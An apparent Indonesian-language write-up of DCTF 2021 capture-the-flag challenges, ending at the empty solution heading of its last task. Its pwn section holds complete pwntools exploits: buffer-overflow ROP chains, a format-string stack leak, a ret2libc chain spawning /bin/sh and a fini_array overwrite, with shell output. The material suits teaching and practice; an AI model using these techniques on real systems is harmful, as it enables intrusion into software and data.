DCTF 2021 | Writeup

Post kali ini akan membahas tentang challenge yang berhasil penulis kerjakan pada event DCTF 2021.

Crypto





Just Take Your Time (200 points | 135 solves)

Diberikan sebuah file(just-take-your-time.py) yang mempunyai isi sebagai berikut:

#!/usr/bin python3

from flag import flag
from Crypto.Cipher import DES3
from time import time
from random import randint
from secrets import token_hex
from pytimedinput import timedInput

guess = 3
TIMEOUT = 1

a = randint(1000000000000000, 9999999999999999)
b = randint(1000000000000000, 9999999999999999)

print("Show me you are worthy and solve for x! You have one second.")
print("{} * {} = ".format(a, b))

answ, _ = timedInput("> ", timeOut = 1, forcedTimeout = True)

try:
    assert(a*b == int(answ))
except:
    print("You are not worthy!")
    exit(1)

key = str(int(time())).zfill(16).encode("utf-8")
secret = token_hex(16)
cipher = DES3.new(key, DES3.MODE_CFB, b"00000000")
encrypted = cipher.encrypt(secret.encode("utf-8"))
print("You have proven yourself to be capable of taking on the final task. Decrypt this and the flag shall be yours!")
print(encrypted.hex())

start_time = time()
while(time() - start_time < TIMEOUT and guess > 0):
    delta = time() - start_time
    answ, _ = timedInput("> ", timeOut = TIMEOUT + 1 - delta, forcedTimeout = True)

    try:
        assert(secret == answ)
        break
    except:
        if answ != "":
            guess -= 1
            if (guess != 1):
                print("You are wrong. {} guesses remain.".format(guess))
            else:
                print("You are wrong. {} guess remains.".format(guess))

if (secret != answ):
    print("You have been unsuccessful in your quest for the flag.")
else:
    print("Congratulations! Here is your flag.")
    print(flag)

Output:

phobos@PH0bo5: python3 just-take-your-time.py
Show me you are worthy and solve for x! You have one second.
9548101940054396 * 9397478098800981 = 
> 89728078866780343578665518162476
You have proven yourself to be capable of taking on the final task. Decrypt this and the flag shall be yours!
399fdc9386a10ca92d81aa55f387a60f718e85d5b52115d85b12be692ae4ef1a
> 
You have been unsuccessful in your quest for the flag.

Solution:
Tahap pertama, kita harus membuat program/solver untuk menjawab perkalian yang diberikan dengan batas waktu maksimal adalah 1 detik. Berdasarkan hasil analisis, untuk tahap selanjutnya kita harus menjawab dengan benar value dari variabel secret. Variabel secret menampung hasil return dari fungsi token_hex(16), yang nantinya akan digunakan untuk melakukan encrypt terhadap flag.

Untuk mendapatkan value dari secret yang harus kita lakukan adalah:

  • Mengambil value key (waktu saat ini = waktu service dijalankan) key = str(int(time())).zfill(16).encode("utf-8").
  • Membuat variabel decipher, dengan enkripsi DES3 yang menggunakan value key. decipher = DES3.new(key, DES3.MODE_CFB, b"00000000")
  • Mendapat value secret dengan cara, mendecrypt cipher yang didapatkan (cipher yang didapatkan dari service akan berubah-rubah). cipher = 399fdc9386a10ca92d81aa55f387a60f718e85d5b52115d85b12be692ae4ef1a secret = decipher.decrypt(cipher)

Solver:

#!/usr/bin/env python
from pwn import *
from time import time
from Crypto.Cipher import DES3
import binascii

SERVER,PORT = "dctf-chall-just-take-your-time.westeurope.azurecontainer.io", 9999

def solve(io):
    io.recvuntil("Show me you are worthy and solve for x! You have one second.\n")

    solve = io.recvline().strip().decode().replace("=","").replace(" ","")
    answer = eval(solve)
    print("[Q]",solve)
    print("[A]",answer)
    io.sendline(str(answer))

    io.recvuntil("You have proven yourself to be capable of taking on the final task. Decrypt this and the flag shall be yours!\n")
    cipher = binascii.unhexlify(io.recvline().strip().decode())

    key = str(int(time())).zfill(16).encode("utf-8")
    print("Cipher : {}".format(binascii.hexlify(cipher).decode()))
    print("Key    : {}".format(key.decode()))

    decipher = DES3.new(key, DES3.MODE_CFB, b"00000000")
    secret = decipher.decrypt(cipher).decode()
    print("Secret : {}".format(secret))

    io.sendline(secret)
    io.recvuntil("flag.\n")
    print("FLAG   :",io.recvline().strip().decode())
    io.close()

if __name__ == "__main__":
    io = remote(SERVER, PORT)
    solve(io)

Output:

phobos@PH0bo5: python3 solve.py 
[+] Opening connection to dctf-chall-just-take-your-time.westeurope.azurecontainer.io on port 9999: Done
[Q] 7130692294069663*3310378653815940
[A] 23605291557218027960527139828220
Cipher : 174a2ec3af0ed02b43f58a2470796eb8aae6126bcd651ea063f7ec92cb6d8ee0
Key    : 0000001621235403
Secret : a6b9b9a496038719e45eed252ee660d1
FLAG   : dctf{1t_0n1y_t0Ok_2_d4y5...}
[*] Closed connection to dctf-chall-just-take-your-time.westeurope.azurecontainer.io port 9999

FLAG : dctf{1t_0n1y_t0Ok_2_d4y5…}

Misc





Encrypted the flag I have (100 points | 352 solves)

Diberikan sebuah file gambar, dengan tampilan berikut:

Solution:
Penulis meng-upload gambar tersebut ke What’s my Font, dan menemukan terdapat font yang mirip seperti gambar yang diberikan.

Selanjutnya kita harus mendapatkan sampel karakter dari font tersebut, dengan cara memasukkan alfabet, angka, dan beberapa simbol untuk dicocokkan dengan gambar yang diberikan. Lalu didapatkanlah sampel gambar sebagai berikut:

FLAG : dctf{mastercodebreaker}

Reverse





Bell (100 points | 218 solves)

Diberikan sebuah binary bernama bell.

main():

process():

triangle():

Solution:
Kita harus menjawab/menghitung return value dari function triangle() yang akan berubah seiring dengan perulangan variabel Arg1 yang ada pada function process(). Untuk menyelesaikan challenge ini cukup mudah, kita hanya perlu mengimplementasikan function triangle() pada solver yang akan kita buat untuk mendapatkan return value dari function triangle().

Solver:

from pwn import *
import sys

def triangle(a1, a2):
    result = 0
    v3 = 0
    
    if ( a2 <= a1 ):      
        if ( a1 != 1 or a2 != 1 ):
            if ( a2 == 1 ):
                result = triangle(a1 - 1, a1 - 1)
            else:  
                v3 = triangle(a1, (a2 - 1))
                result = v3 + triangle(a1 - 1, (a2 - 1))
        else:
            result = 1    
    else:
        result = 0
    return result

def solve(io = null):
    number = int(io.recvline().strip())
    for i in range(1, number+1,1):
        x = triangle(number, i)
        
        io.sendline(str(x))
    print(io.recvline().strip().decode())
    io.close()

if __name__ == "__main__":
    if len(sys.argv) > 1 and sys.argv[1] == "r":
        REMOTE = True
        io = remote("dctf-chall-bell.westeurope.azurecontainer.io", 5311)
    else:
        LOCAL = True
        io = process("./bell")
    solve(io)

Output:

phobos@PH0bo5: python3 solve.py r
[+] Opening connection to dctf-chall-bell.westeurope.azurecontainer.io on port 5311: Done
dctf{f1rst_step_t0wards_b3ll_l4bs}
[*] Closed connection to dctf-chall-bell.westeurope.azurecontainer.io port 5311

FLAG : dctf{f1rst_step_t0wards_b3ll_l4bs}

Tiny interpreter (400 points | 100 solves)

Diberikan file interpreter dan bin.

File Information:

phobos@PH0bo5: file *
bin:         data
interpreter: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2eea16faa2fedba2426bdab0320024aaf3e02ea9, for GNU/Linux 3.2.0, not stripped

Solution:
Kita hanya perlu menjalankan file yang diberikan dengan command berikut :)

phobos@PH0bo5: ./interpreter bin
I
n
t
e
r
p
r
e
...
...
...
i
d
e
a

Yang jika digabungkan akan menjadi flag. Semudah itu? iya, author challenge ini berkata setelah kompetisi berakhir bahwa dia melakukan kesalahan dan ingin menghapus challenge tersebut tetapi tidak jadi, dikarenakan sudah banyak yang menyelesaikan challenge ini.

FLAG : dctf{Interpreter_written_in_C_is_a_great_idea}

Pwn





Pwn sanity check (100 points | 232 solves)

Diberikan sebuah binary pwn_sanity_check.

Binary Information:

phobos@PH0bo5: cs ./pwn_sanity_check 
[*] '/home/phobos/Documents/ctf/dctf2021/pwn/01Pwn_sanity_check/pwn_sanity_check'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

main():

vuln():

win():

Solution:
Pada function vuln() terdapat function fgets() yang dapat memicu terjadinya Buffer Overflow. Vulnerability ini dapat kita manfaatkan untuk meng-overwrite return address menjadi address yang kita inginkan, yaitu function win() untuk mendapatkan shell.

Langkah pertama adalah mencari offset untuk meng-overwrite return address menjadi win().

Perlu diperhatikan pada function win(), untuk mendapatkan shell kita membutuhkan 2 argument agar kita bisa memenuhi kondisi / komparator (if), yaitu:

  • argument ke-1 (RDI) = 0xDEADBEEF
  • argument ke-2 (RSI) = 0x1337C0DE

Maka kita membutuhkan 2 gadget, yakni pop rdi; ret & pop rsi; pop r15; ret. Hiraukan saja pop r15 nya. Karena kita hanya perlu men-supply register RDI dan RSI. Untuk mendapatkan gadget tersebut kita bisa menggunakan ropper.

Solver:

#!/usr/bin/env python
from pwn import *
from os import path
import sys

DIR = path.dirname(path.abspath(__file__))
TARGET = DIR+"/pwn_sanity_check"
SERVER,PORT = "dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io", 7480
REMOTE, LOCAL = False, False
elf = ELF(TARGET)
elfROP = ROP(elf)

context.update(arch ="amd64", log_level = "warn")

def exploit(io, libc =null):
    RIP_OFFSET = cyclic_find(0x61616173) # 72
    POP_RDI = elfROP.find_gadget(["pop rdi","ret"])[0] # 0x400813
    POP_RSI_R15 = elfROP.find_gadget(["pop rsi","pop r15","ret"])[0] # 0x400811
    WIN_ADDRESS = elf.symbols["win"] # 0x400697

    p = b""
    p += b"A" * (RIP_OFFSET)
    p += p64(POP_RDI)
    p += p64(0xDEADBEEF)
    
    p += p64(POP_RSI_R15)
    p += p64(0x1337C0DE)
    p += p64(0)
    p += p64(WIN_ADDRESS)

    io.sendline(p)
    io.interactive()

if __name__ == "__main__":
    if len(sys.argv) > 1 and sys.argv[1] == "r":
        REMOTE = True
        io = remote(SERVER, PORT)
    else:
        LOCAL = True
        io = process([TARGET])
    exploit(io)

Exploit:

phobos@PH0bo5:~/Documents/ctf/dctf2021/pwn/01Pwn_sanity_check_SOLVED$ python3 solve.py r
[*] '/home/phobos/Documents/ctf/dctf2021/pwn/01Pwn_sanity_check_SOLVED/pwn_sanity_check'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 14 cached gadgets for '/home/phobos/Documents/ctf/dctf2021/pwn/01Pwn_sanity_check_SOLVED/pwn_sanity_check'
tell me a joke
will this work?
you made it to win land, no free handouts this time, try harder
one down, one to go!
2/2 bro good job
$ ls
flag.txt
pwn_sanity_check
startService.sh
$ cat flag.txt
dctf{Ju5t_m0v3_0n}
$

FLAG : dctf{Ju5t_m0v3_0n}

Pinch me (100 points | 262 solves)

Diberikan sebuah binary pinch_me.

Binary Information:

phobos@PH0bo5: cs ./pinch_me 
[*] '/home/phobos/Documents/ctf/dctf2021/pwn/02Pinch_me_SOLVED/pinch_me'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

main():

vuln():

Solution:
Melakukan Buffer overflow, untuk meng-overwrite value yang akan dicompare oleh function if, yaitu variabel v2 agar menjadi 0x1337C0DE. Kita memerlukan offset untuk mengoverwrite variabel v2 tersebut.

Dapat dilihat diatas bahwa value yang akan dicompare oleh if(), berada pada address $rbp-0x8. Yang mana saat di examine, value tersebut mengandung 0x61616167 (potongan byte dari pattern cyclic).

Solver:

#!/usr/bin/env python
from pwn import *
from os import path
import sys

DIR = path.dirname(path.abspath(__file__))
TARGET = DIR+"/pinch_me"
SERVER,PORT = "dctf1-chall-pinch-me.westeurope.azurecontainer.io", 7480
REMOTE, LOCAL = False, False
elf = ELF(TARGET)

context.update(arch ="amd64", log_level = "warn")

def exploit(io, libc =null):
    RIP_OFFSET = cyclic_find(0x61616167) # 24

    p = b""
    p += b"A" * (RIP_OFFSET)
    p += p64(0x1337C0DE)

    io.sendline(p)
    io.interactive()

if __name__ == "__main__":
    if len(sys.argv) > 1 and sys.argv[1] == "r":
        REMOTE = True
        io = remote(SERVER, PORT)
    else:
        LOCAL = True
        io = process([TARGET])
    exploit(io)

Exploit:

phobos@PH0bo5: python3 solve.py r
[*] '/home/phobos/Documents/ctf/dctf2021/pwn/02Pinch_me_SOLVED/pinch_me'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Is this a real life, or is it just a fanta sea?
Am I dreaming?
$ ls
flag.txt
pinch_me
startService.sh
$ cat flag.txt
dctf{y0u_kn0w_wh4t_15_h4pp3n1ng_b75?}$

FLAG : dctf{y0u_kn0w_wh4t_15_h4pp3n1ng_b75?}

Readme (150 points | 198 solves)

Diberikan sebuah binary readme.

Binary Information:

phobos@PH0bo5: cs ./readme 
[*] '/home/phobos/Documents/ctf/dctf2021/pwn/03Readme_SOLVED/readme'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

main():

vuln():

Solution:
Terdapat vulnerability Format String Attack, yakni function printf() yang tidak diberikan format parameter (%x,%p,%s, dll.) dapat menyebabkan munculnya vulnerability ini. Dapat dilihat pada function vuln(), bahwa binary ini sudah mengambil value dari flag.txt saat binary ini masuk kedalam function vuln(). Yang artinya, flag yang kita cari-cari sudah ada didalam stack, jadi yang harus kita lakukan adalah melakukan leak memory stack dengan Format string attack.

Solver:

#!/usr/bin/env python
from pwn import *
from os import path
import sys
import string

DIR = path.dirname(path.abspath(__file__))
TARGET = DIR+"/readme"
SERVER,PORT = "dctf-chall-readme.westeurope.azurecontainer.io", 7481
REMOTE, LOCAL = False, False

context.log_level = "warn"

FOUND_FLAG = False
flag = b""
ALPHABET_DIGIT_SYMBOLS = string.ascii_letters.encode() + string.digits.encode() + b"!\"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~"
def looper(io = null):
    global FOUND_FLAG
    global flag
    for x in range(1,15):

        if REMOTE == True:
            io = remote(SERVER, PORT)
        else: #local
            io = process([TARGET])

        io.recvuntil("hello, what's your name?\n")

        p = "%{}$p".format(x)
        io.sendline(p)
        io.recvuntil("hello")
        LEAKED_MEMORY = io.recvline().strip().decode()
        if "(nil)" not in LEAKED_MEMORY:
            LEAKED_MEMORY = p64( int(LEAKED_MEMORY, 16) )
            
            # Comment this if u want in silent mode
            print("===================================")
            print("[{}] Current Leaked   : {}".format(str(x).rjust(2,"0"), LEAKED_MEMORY))
            print("[{}] Current Flag     : {}".format(str(x).rjust(2,"0"), flag))
            
            if b"dctf" in LEAKED_MEMORY:
                FOUND_FLAG = True
                for currentChar in LEAKED_MEMORY:
                    if currentChar in ALPHABET_DIGIT_SYMBOLS:
                        flag += chr(currentChar).encode()
            elif FOUND_FLAG == True and b"}" not in flag:
                for currentChar in LEAKED_MEMORY:
                    if currentChar in ALPHABET_DIGIT_SYMBOLS:
                        flag += chr(currentChar).encode()

            elif FOUND_FLAG == True and b"}" in LEAKED_MEMORY:
                for currentChar in LEAKED_MEMORY:
                    if currentChar in ALPHABET_DIGIT_SYMBOLS:
                        flag += chr(currentChar).encode()
                break
    
        if LOCAL == True:
            io.kill()
        io.close()
    print(flag)




def exploit(io):
    io.interactive()

if __name__ == "__main__":
    if len(sys.argv) > 1 and sys.argv[1] == "r":
        REMOTE = True
    else:
        LOCAL = True
    looper()

Exploit:

phobos@PH0bo5:~/Documents/ctf/dctf2021/pwn/03Readme_SOLVED$ python3 solve.py r
===================================
[01] Current Leaked   : b'@\xc5\xcb\xee\xfe\x7f\x00\x00'
[01] Current Flag     : b''
===================================
[04] Current Leaked   : b'\x06\x00\x00\x00\x00\x00\x00\x00'
[04] Current Flag     : b''
===================================
[05] Current Leaked   : b'\x06\x00\x00\x00\x00\x00\x00\x00'
[05] Current Flag     : b''
===================================
[07] Current Leaked   : b'\xa0\xc2\x07tWU\x00\x00'
[07] Current Flag     : b''
===================================
[08] Current Leaked   : b'dctf{n0w'
[08] Current Flag     : b''
===================================
[09] Current Leaked   : b'_g0_r3ad'
[09] Current Flag     : b'dctf{n0w'
===================================
[10] Current Leaked   : b'_s0me_b0'
[10] Current Flag     : b'dctf{n0w_g0_r3ad'
===================================
[11] Current Leaked   : b'0k5\x00*\x7f\x00\x00'
[11] Current Flag     : b'dctf{n0w_g0_r3ad_s0me_b0'
===================================
[12] Current Leaked   : b'%12$p\n\x00\x00'
[12] Current Flag     : b'dctf{n0w_g0_r3ad_s0me_b00k5*'
===================================
[13] Current Leaked   : b'}YDw\x0fV\x00\x00'
[13] Current Flag     : b'dctf{n0w_g0_r3ad_s0me_b00k5*%12$p'
===================================
[14] Current Leaked   : b'\xc8?\xaf\xca\xc6\x7f\x00\x00'
[14] Current Flag     : b'dctf{n0w_g0_r3ad_s0me_b00k5*%12$p}YDwV'

FLAG : dctf{n0w_g0_r3ad_s0me_b00k5}

Baby bof (250 points | 135 solves)

Diberikan dua file: baby_bof dan Dockerfile.

Binary Information:

phobos@PH0bo5: cs ./baby_bof
[*] '/home/phobos/Documents/ctf/dctf2021/pwn/04Baby_BOF_SOLVED/baby_bof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Dockerfile

FROM ubuntu:20.04
RUN apt-get update && apt-get install -y make gcc socat

RUN groupadd pilot
RUN useradd pilot --gid pilot

COPY ./app /app
WORKDIR /app

ENTRYPOINT [ "bash", "/app/startService.sh" ]

main():

vuln():

Solution:
Pada function vuln() terdapat function fgets(), yang dapat memicu vulnerability Buffer Overflow. Vulnerability ini dapat kita manfaatkan untuk mengoverwrite nilai return yang ada distack menjadi address yang kita inginkan. Dalam hal ini, penulis akan mengoverwrite return address yang nantinya dapat dimanfaatkan untuk melakukan teknik ROP dan ret2libc.

Pertama, kita harus mencari offset dari RIP (Return Instruction Pointer). Penulis menggunakan GDB pwndbg(plug-in). Debug binary yang diberikan dengan command dibawah. Lalu penulis meng-generate pattern, yang akan kita gunakan untuk melakukan input terhadap binary.

phobos@PH0bo5:~/Documents/ctf/dctf2021/pwn/04Baby_BOF_SOLVED$ gdb ./baby_bof 

warning: /home/phobos/pwndbg/gdbinit.py: No such file or directory
Reading symbols from ./baby_bof...(no debugging symbols found)...done.
pwndbg: loaded 192 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
pwndbg> cyclic 300
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac
pwndbg> 

Copy pattern tersebut, lalu masukkan(paste) saat program meminta input.

pwndbg> r
Starting program: /home/phobos/Documents/ctf/dctf2021/pwn/04Baby_BOF_SOLVED/baby_bof 
plz don't rop me
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac

Pada bagian paling bawah dapat dilihat bahwa RIP sudah ter-overwrite dengan value 0x6167616161666161.

Ambil 4 byte value yang paling belakang dari 0x6167616161666161 => 0x61666161.

Maka kita sudah mendapatkan offset untuk overwrite RIP, yaitu 18.
Selanjutnya kita perlu melakukan leak address dari libc. Disini penulis memilih untuk melakukan leak libc address terhadap function puts(). Perlu diperhatikan setelah melakukan leak address, kita harus mengarahkan binary untuk kembali ke function main() agar kita bisa memanfaatkan vulnerability buffer overflow yang berujung dengan pemanggilan shell menggunakan teknik ret2libc. Dikarenakan versi libc yang digunakan pada server berbeda dengan mesin punya penulis, penulis harus melakukan leak terlebih dahulu dan mencari versi dari libc yang digunakan pada service dengan bantuan website libc database search. Dan libc yang digunakan pada server adalah: libc6_2.31-0ubuntu9_amd64

Solver:

#!/usr/bin/env python
from elftools.construct import lib
from pwn import *
from os import path
import sys

DIR = path.dirname(path.abspath(__file__))
TARGET = DIR+"/baby_bof"
SERVER,PORT = "dctf-chall-baby-bof.westeurope.azurecontainer.io", 7481
REMOTE, LOCAL = False, False
elf = ELF(TARGET)
elfROP = ROP(elf)

context.update(arch ="amd64", log_level = "warn")

def exploit(io, libc =null):
    RIP_OFFSET = cyclic_find(0x61666161) # 18
    
    RET_GADGET = elfROP.find_gadget(["ret"])[0] # 0x40048e
    POP_RDI = elfROP.find_gadget(["pop rdi", "ret"])[0] # 0x400683
    
    MAIN_ADDRESS = elf.symbols["main"]
    PUTS_PLT = elf.symbols["puts"]
    PUTS_GOT = elf.got["puts"]

    p = b""
    p += b"A" * (RIP_OFFSET)
    p += p64(POP_RDI)
    p += p64(PUTS_GOT)
    p += p64(PUTS_PLT)
    p += p64(MAIN_ADDRESS)

    io.sendline(p)
    print(io.recvuntil("i don't think this will work\n"))

    resp = io.recvline().strip()
    LEAKED = u64(resp.ljust(8,b"\x00"))
    BASE_ADDRESS = LEAKED - libc.symbols["puts"]
    SYSTEM = BASE_ADDRESS + libc.symbols["system"]
    STR_BIN_SH = BASE_ADDRESS + next(libc.search(b"/bin/sh"))

    print(f"LEAKED           :{hex(LEAKED)}")
    print(f"BASE_ADDRESS     :{hex(BASE_ADDRESS)}")
    print(f"SYSTEM           :{hex(SYSTEM)}")
    print(f"STR_BIN_SH       :{hex(STR_BIN_SH)}")

    p = b""
    p = b"A" * (RIP_OFFSET)
    p += p64(RET_GADGET)
    p += p64(POP_RDI)
    p += p64(STR_BIN_SH)
    p += p64(SYSTEM)

    io.sendline(p)
    io.interactive()

if __name__ == "__main__":
    if len(sys.argv) > 1 and sys.argv[1] == "r":
        REMOTE = True
        io = remote(SERVER, PORT)
        libc = ELF(DIR+"/libc6_2.31-0ubuntu9_amd64.so")
    else:
        LOCAL = True
        io = process([TARGET])
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    exploit(io, libc)

Exploit:

phobos@PH0bo5: python3 solve.py r
[*] '/home/phobos/Documents/ctf/dctf2021/pwn/04Baby_BOF_SOLVED/baby_bof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 14 cached gadgets for '/home/phobos/Documents/ctf/dctf2021/pwn/04Baby_BOF_SOLVED/baby_bof'
b"plz don't rop me\ni don't think this will work\n"
LEAKED           :0x7f029403c5a0
BASE_ADDRESS     :0x7f0293fb5000
SYSTEM           :0x7f029400a410
STR_BIN_SH       :0x7f029416c5aa
plz don't rop me
i don't think this will work
$ ls
baby_bof
flag.txt
startService.sh
$ cat flag.txt
dctf{D0_y0U_H4v3_A_T3mpl4t3_f0R_tH3s3}
$  

FLAG : dctf{D0_y0U_H4v3_A_T3mpl4t3_f0R_tH3s3}

Magic Trick (300 points | 99 solves)

Diberikan file magic_trick.

Binary Information:

phobos@PH0bo5: cs ./magic_trick
[*] '/home/phobos/Documents/ctf/dctf2021/pwn/05Magic_Trick_SOLVED/magic_trick'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

main():

magic():

win():

Solution:
Pada function magic() kita bisa melakukan write, dan dikarenakan binary ini tidak ada proteksi RELRO, kita bisa melakukan overwrite pada GOT atau memory pada suatu address. Terbesit dipikiran penulis untuk melakukan overwrite pada _fini_array atau _fini, dengan address dari function win().

Solver:

#!/usr/bin/env python
from pwn import *
from os import path
import sys

DIR = path.dirname(path.abspath(__file__))
TARGET = DIR+"/magic_trick"
SERVER,PORT = "dctf-chall-magic-trick.westeurope.azurecontainer.io", 7481
REMOTE, LOCAL = False, False
elf = ELF(TARGET)

context.update(arch ="amd64", log_level = "warn")

def exploit(io, libc =null):
    WIN_ADDRESS = elf.symbols["win"]
    _FINI_ARRAY = 0X600a00

    p = str(WIN_ADDRESS)
    io.sendlineafter("What do you want to write", p)

    p = str(_FINI_ARRAY)
    io.sendlineafter("Where do you want to write it", p)

    io.interactive()

if __name__ == "__main__":
    if len(sys.argv) > 1 and sys.argv[1] == "r":
        REMOTE = True
        io = remote(SERVER, PORT)
    else:
        LOCAL = True
        io = process([TARGET])
    exploit(io)

Exploit:

phobos@PH0bo5:~/Documents/ctf/dctf2021/pwn/05Magic_Trick_SOLVED$ python3 solve.py r
[*] '/home/phobos/Documents/ctf/dctf2021/pwn/05Magic_Trick_SOLVED/magic_trick'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 14 cached gadgets for '/home/phobos/Documents/ctf/dctf2021/pwn/05Magic_Trick_SOLVED/magic_trick'

thanks
You are a real magician
dctf{1_L1k3_M4G1c}

FLAG : dctf{1_L1k3_M4G1c}

Hotel ROP (400 points | 134 solves)

Binary Information:

phobos@PH0bo5: cs ./hotel_rop 
[*] '/home/phobos/Documents/ctf/dctf2021/pwn/06Hotel_ROP_SOLVED/hotel_rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

main():

vuln():

california():

silicon_valley():

loss():

Solution:
Pada function main(), binary akan menampilkan (print), address dari main(PIE Enabled). Kita harus memanfaatkan informasi yang diberikan ini untuk melakukan kalkulasi address pada function lainnya. Terdapt hasil menarik yang akan terjadi dengan memanggil function california() dan silicon_valley() secara berurut, yakin jika dipanggil secara terurut kita dapat menghasilkan string /bin/sh yang akan disimpan ke variabel win_land. Tujuan kita adalah mencapai function loss(), dikarenakan function tersebut memanggil function system() dengan argumen win_land. Tetapi pada function loss() kita harus melewati dulu validasi dengan memberikan argument pertama(RDI) dengan value 0x1337C0DE dan argument kedua(RSI) dengan value 0xDEADC0DE - 0x1337C0DE = 0xCB760000.

Solver:

#!/usr/bin/env python
from elftools.construct import lib
from pwn import *
from os import path
import sys

DIR = path.dirname(path.abspath(__file__))
TARGET = DIR+"/hotel_rop"
SERVER,PORT = "dctf1-chall-hotel-rop.westeurope.azurecontainer.io", 7480
REMOTE, LOCAL = False, False
elf = ELF(TARGET)
elfROP = ROP(elf)

context.update(arch ="amd64", log_level = "warn")

def exploit(io, libc =null):
    raw_input("Fire GDB!")
    RIP_OFFSET = cyclic_find(0x6161616b) # 40
    
    
    io.recvuntil("Welcome to Hotel ROP, on main street ")
    LEAKED_MAIN = int(io.recvline().strip(), 16)
    BASE_ADDRESS = LEAKED_MAIN - elf.symbols["main"]
    SILICON_VALLEY = BASE_ADDRESS + elf.symbols["silicon_valley"]
    CALIFORNIA = BASE_ADDRESS + elf.symbols["california"]
    LOSS = BASE_ADDRESS + elf.symbols["loss"]

    POP_RDI = BASE_ADDRESS + elfROP.find_gadget(["pop rdi", "ret"])[0]
    POP_RSI_R15 = BASE_ADDRESS + elfROP.find_gadget(["pop rsi","pop r15", "ret"])[0]

    print("BASE_ADDRESS   :",hex(BASE_ADDRESS))
    print("CALIFORNIA     :",hex(CALIFORNIA))
    print("SILICON_VALLEY :",hex(SILICON_VALLEY))
    print("LOSS           :",hex(LOSS))
    print("=================================")
    print("POP_RDI           :",hex(POP_RDI))
    print("POP_RSI           :",hex(POP_RSI_R15))
    
    p = b""
    p += b"A" * (RIP_OFFSET)
    p += p64(CALIFORNIA) # /bin
    p += p64(SILICON_VALLEY) # /sh
    
    p += p64(POP_RDI)
    p += p64(0x1337C0DE)

    RSI = 0xDEADC0DE - 0x1337C0DE # 0xcb760000
    p += p64(POP_RSI_R15)
    p += p64(RSI)
    p += p64(0xDEADC0DE) # DUMMY

    p += p64(LOSS) # Literally, it's Win Address :)

    io.sendline(p)
    io.interactive()

if __name__ == "__main__":
    if len(sys.argv) > 1 and sys.argv[1] == "r":
        REMOTE = True
        io = remote(SERVER, PORT)
    else:
        LOCAL = True
        io = process([TARGET])
    exploit(io)

Exploit:

phobos@PH0bo5:~/Documents/ctf/dctf2021/pwn/06Hotel_ROP_SOLVED$ python3 solve.py r
[*] '/home/phobos/Documents/ctf/dctf2021/pwn/06Hotel_ROP_SOLVED/hotel_rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 14 cached gadgets for '/home/phobos/Documents/ctf/dctf2021/pwn/06Hotel_ROP_SOLVED/hotel_rop'
Fire GDB!
BASE_ADDRESS   : 0x563bfcd62000
CALIFORNIA     : 0x563bfcd631dc
SILICON_VALLEY : 0x563bfcd63283
LOSS           : 0x563bfcd63185
=================================
POP_RDI           : 0x563bfcd6340b
POP_RSI           : 0x563bfcd63409
You come here often?
I think you should come here more often.
Welcome to Hotel California
You can sign out anytime you want, but you can never leave
You want to work for Google?
Dis is da wae to be one of our finest guests!
Now you can replace our manager!
$ ls
flag.txt
hotel_rop
startService.sh
$ cat flag.txt
dctf{ch41n_0f_h0t3ls}$

FLAG : dctf{ch41n_0f_h0t3ls}

Formats last theorem (400 points | 41 solves)

Diberikan dua file: formats_last_theorem dan Dockerfile.

Binary Information:

phobos@PH0bo5: cs ./formats_last_theorem
[*] '/home/phobos/Documents/ctf/dctf2021/pwn/07Format_last_theorem_SOLVED/formats_last_theorem'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Dockerfile

FROM ubuntu:18.04
RUN apt-get update && apt-get install -y make gcc socat

RUN groupadd pilot
RUN useradd pilot --gid pilot

COPY ./app /app
WORKDIR /app

ENTRYPOINT [ "bash", "/app/startService.sh" ]

main():

vuln():

Solution:
